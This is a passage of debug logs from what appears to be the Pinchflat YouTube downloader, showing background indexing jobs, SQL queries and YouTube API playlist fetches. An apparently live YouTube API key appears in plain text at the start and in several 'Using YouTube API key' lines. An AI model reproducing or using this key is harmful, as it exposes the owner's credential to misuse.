AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:05:06.225 [debug] QUERY OK source="media_items" db=0.5ms idle=145.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "GLkWix76LLw", "JlhWWbDHPxU", "RBiDfXovGLo", "f8J65wW7rE0", "LB6QsJdCw1A", "GoZLwFs6Sfg", "PiSBWV78oH8", "D1aE319wZOs", "tbZdOFfHeg4", "slACEQ5pHVk", "F6Oai7bV2u4", "61lJoY3MaKw", "cSGr5EAyajU", "47f9w0cIf5U", "i9fMtZPE8-M", "-TGByHolHgs", "fIDENmWZnAM", "e_zTC9SUkN4", "3m1kxhSo5UY", "G43sFXhmLZQ", "rQg-CvGYZ3c", "WV1XqLaMV9E", "rf1gu1YJnPY", "U0CB65oSyBc", "Fu1p90u_sPw", "_8IehW2r_ys", "uGc_xJ6PIiY", "v9nhfP8NX_0", "ZhnSeRzzCRk", "QA0KAbPiuUs", "m5z3Fd4Izso", "v27tD602_P4", "M4gaeD8-3s4", "VZt0GiFPKLc", "D1ATTh4axUA", "B8YW6V2qzyk", "YDcId2GbuL8", "OET_SOuMF4w", "Nxf92Vkq-vg", "A0v2A_vR8Jc", "IMKE7goli_8", "b5oqQc9awuc", "ed7V-kfgSGY", "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", ...] 17:05:06.227 [debug] QUERY OK source="media_items" db=1.2ms idle=146.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 17:05:06.228 [debug] QUERY OK source="tasks" db=0.1ms idle=147.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268385, 32, ~U[2026-10-09 22:05:06Z], ~U[2026-10-09 22:05:06Z]] 17:05:06.228 [info] {"args":{"id":32},"id":5268345,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":149033,"event":"job:stop","queue_time":267838,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:07.080 [info] {"args":{"id":24},"id":5268346,"meta":{},"system_time":1791583507080173120,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:07.080 [info] {"args":{"id":15},"id":5268347,"meta":{},"system_time":1791583507080219877,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:07.080 [debug] QUERY OK source="sources" db=0.1ms idle=852.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 17:05:07.080 [debug] QUERY OK source="sources" db=0.1ms idle=851.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 17:05:07.080 [debug] QUERY OK source="settings" db=0.1ms idle=846.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:07.080 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:07.080 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:07.081 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:07.081 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:07.081 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 17:05:07.081 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:07.081 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 17:05:07.081 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:07.081 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:05:07.081 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:07.081 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:05:07.329 [debug] QUERY OK source="media_items" db=0.4ms idle=247.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "P7p370YXuKc", "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", "r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", "IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", ...] 17:05:07.330 [debug] QUERY OK source="media_items" db=0.1ms idle=248.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 17:05:07.330 [debug] QUERY OK source="tasks" db=0.1ms idle=249.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268386, 24, ~U[2026-10-09 22:05:07Z], ~U[2026-10-09 22:05:07Z]] 17:05:07.331 [info] {"args":{"id":24},"id":5268346,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":250624,"event":"job:stop","queue_time":256128,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:07.510 [debug] QUERY OK source="media_items" db=0.5ms idle=179.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "wLB-Q0iK340", "nY3KX4nYujU", "4K6KgNQkFlE", "WINGdoJP1k4", "qh3zsN1tWHc", "0WY7Y_Hierc", "A4ppPzrJeKg", "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", ...] 17:05:07.511 [debug] QUERY OK source="media_items" db=0.4ms idle=180.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 17:05:07.512 [debug] QUERY OK source="tasks" db=0.1ms idle=175.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268387, 15, ~U[2026-10-09 22:05:07Z], ~U[2026-10-09 22:05:07Z]] 17:05:07.512 [info] {"args":{"id":15},"id":5268347,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":432090,"event":"job:stop","queue_time":70147,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:08.082 [info] {"args":{"id":3},"id":5268348,"meta":{},"system_time":1791583508082178120,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:08.082 [debug] QUERY OK source="sources" db=0.1ms idle=570.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:05:08.082 [debug] QUERY OK source="settings" db=0.1ms idle=570.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:08.082 [debug] QUERY OK source="media_profiles" db=0.1ms idle=564.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:08.083 [debug] QUERY OK source="settings" db=0.0ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:08.083 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 17:05:08.083 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:08.083 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:05:08.240 [debug] QUERY OK source="media_items" db=0.6ms idle=157.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "0KoeY54M5VA", "F_7B2shTPPU", "_KWdCqpXB7A", "KnUFH5GX_fI", "nXdVG45wveo", "mmCfOazZCNQ", "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", "JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", "QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", "uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", ...] 17:05:08.241 [debug] QUERY OK source="media_items" db=0.4ms idle=158.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:05:08.242 [debug] QUERY OK source="tasks" db=0.1ms idle=158.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268388, 3, ~U[2026-10-09 22:05:08Z], ~U[2026-10-09 22:05:08Z]] 17:05:08.242 [info] {"args":{"id":3},"id":5268348,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":159890,"event":"job:stop","queue_time":886915,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:15.532 [info] {"source":"oban","duration":9998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:05:42.116 [info] {"args":{"id":27},"id":5268349,"meta":{},"system_time":1791583542116750263,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:42.117 [debug] QUERY OK source="sources" db=0.1ms idle=770.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 17:05:42.117 [debug] QUERY OK source="settings" db=0.1ms idle=770.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:42.117 [debug] QUERY OK source="media_profiles" db=0.2ms idle=770.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:42.117 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:42.117 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 17:05:42.117 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", 